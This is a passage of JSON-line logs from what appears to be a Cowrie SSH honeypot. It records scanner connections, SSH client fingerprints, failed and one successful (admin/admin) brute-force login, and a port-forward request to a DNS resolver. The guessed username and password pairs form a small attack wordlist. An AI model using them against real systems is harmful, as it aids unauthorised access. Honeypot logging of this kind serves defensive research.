-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:34.364139Z","src_ip":"124.155.125.131","session":"15b2d796204e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:34.543385Z","src_ip":"88.147.30.59","session":"c5094bae751a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hannes123","message":"login attempt [root/hannes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:35.097065Z","src_ip":"124.155.125.131","session":"15b2d796204e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:36.276175Z","src_ip":"124.155.125.131","session":"15b2d796204e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":41654,"dst_ip":"159.203.135.109","dst_port":22,"session":"18218bfd950c","protocol":"ssh","message":"New connection: 165.154.6.49:41654 (159.203.135.109:22) [session: 18218bfd950c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:42.711377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:42.716373Z","src_ip":"165.154.6.49","session":"18218bfd950c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:42.934402Z","src_ip":"165.154.6.49","session":"18218bfd950c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passpass","message":"login attempt [root/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:43.837527Z","src_ip":"165.154.6.49","session":"18218bfd950c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:45.059026Z","src_ip":"165.154.6.49","session":"18218bfd950c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":58184,"dst_ip":"159.203.135.109","dst_port":22,"session":"e505cc26778c","protocol":"ssh","message":"New connection: 221.161.235.168:58184 (159.203.135.109:22) [session: e505cc26778c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:01.171416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:01.176283Z","src_ip":"221.161.235.168","session":"e505cc26778c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:01.370670Z","src_ip":"221.161.235.168","session":"e505cc26778c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:02.180771Z","src_ip":"221.161.235.168","session":"e505cc26778c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:03.379658Z","src_ip":"221.161.235.168","session":"e505cc26778c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":47628,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a28d967bc3c","protocol":"ssh","message":"New connection: 190.167.237.191:47628 (159.203.135.109:22) [session: 2a28d967bc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:22.482331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:22.486634Z","src_ip":"190.167.237.191","session":"2a28d967bc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:22.549555Z","src_ip":"190.167.237.191","session":"2a28d967bc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123456","message":"login attempt [root/Root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:22.832224Z","src_ip":"190.167.237.191","session":"2a28d967bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:23.897887Z","src_ip":"190.167.237.191","session":"2a28d967bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":59348,"dst_ip":"159.203.135.109","dst_port":22,"session":"355ea77c4443","protocol":"ssh","message":"New connection: 189.113.47.155:59348 (159.203.135.109:22) [session: 355ea77c4443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:25.137994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:25.142834Z","src_ip":"189.113.47.155","session":"355ea77c4443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:25.259524Z","src_ip":"189.113.47.155","session":"355ea77c4443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololol","message":"login attempt [root/lololol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:25.751878Z","src_ip":"189.113.47.155","session":"355ea77c4443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:26.871128Z","src_ip":"189.113.47.155","session":"355ea77c4443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":36536,"dst_ip":"159.203.135.109","dst_port":22,"session":"40e8966adaff","protocol":"ssh","message":"New connection: 165.154.6.49:36536 (159.203.135.109:22) [session: 40e8966adaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:37.466693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:37.471526Z","src_ip":"165.154.6.49","session":"40e8966adaff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:37.686852Z","src_ip":"165.154.6.49","session":"40e8966adaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:38.583956Z","src_ip":"165.154.6.49","session":"40e8966adaff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5848,"dst_ip":"10.17.0.5","dst_port":22,"session":"d30cb066f441","protocol":"ssh","message":"New connection: 87.251.64.176:5848 (10.17.0.5:22) [session: d30cb066f441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.352108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.357047Z","src_ip":"87.251.64.176","session":"d30cb066f441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.455394Z","src_ip":"87.251.64.176","session":"d30cb066f441","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.746821Z","src_ip":"87.251.64.176","session":"d30cb066f441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.804536Z","src_ip":"165.154.6.49","session":"40e8966adaff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.845665Z","session":"d30cb066f441","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:39.943945Z","src_ip":"87.251.64.176","session":"d30cb066f441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:40.045436Z","src_ip":"87.251.64.176","session":"d30cb066f441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":41632,"dst_ip":"159.203.135.109","dst_port":22,"session":"afe42c855f1e","protocol":"ssh","message":"New connection: 221.161.235.168:41632 (159.203.135.109:22) [session: afe42c855f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:42.374098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:42.379098Z","src_ip":"221.161.235.168","session":"afe42c855f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:42.571676Z","src_ip":"221.161.235.168","session":"afe42c855f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"golden","message":"login attempt [root/golden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:43.370484Z","src_ip":"221.161.235.168","session":"afe42c855f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:44.567865Z","src_ip":"221.161.235.168","session":"afe42c855f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":53026,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2efb98122ac","protocol":"ssh","message":"New connection: 124.155.125.131:53026 (159.203.135.109:22) [session: c2efb98122ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:59.147539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:49:59.152039Z","src_ip":"124.155.125.131","session":"c2efb98122ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh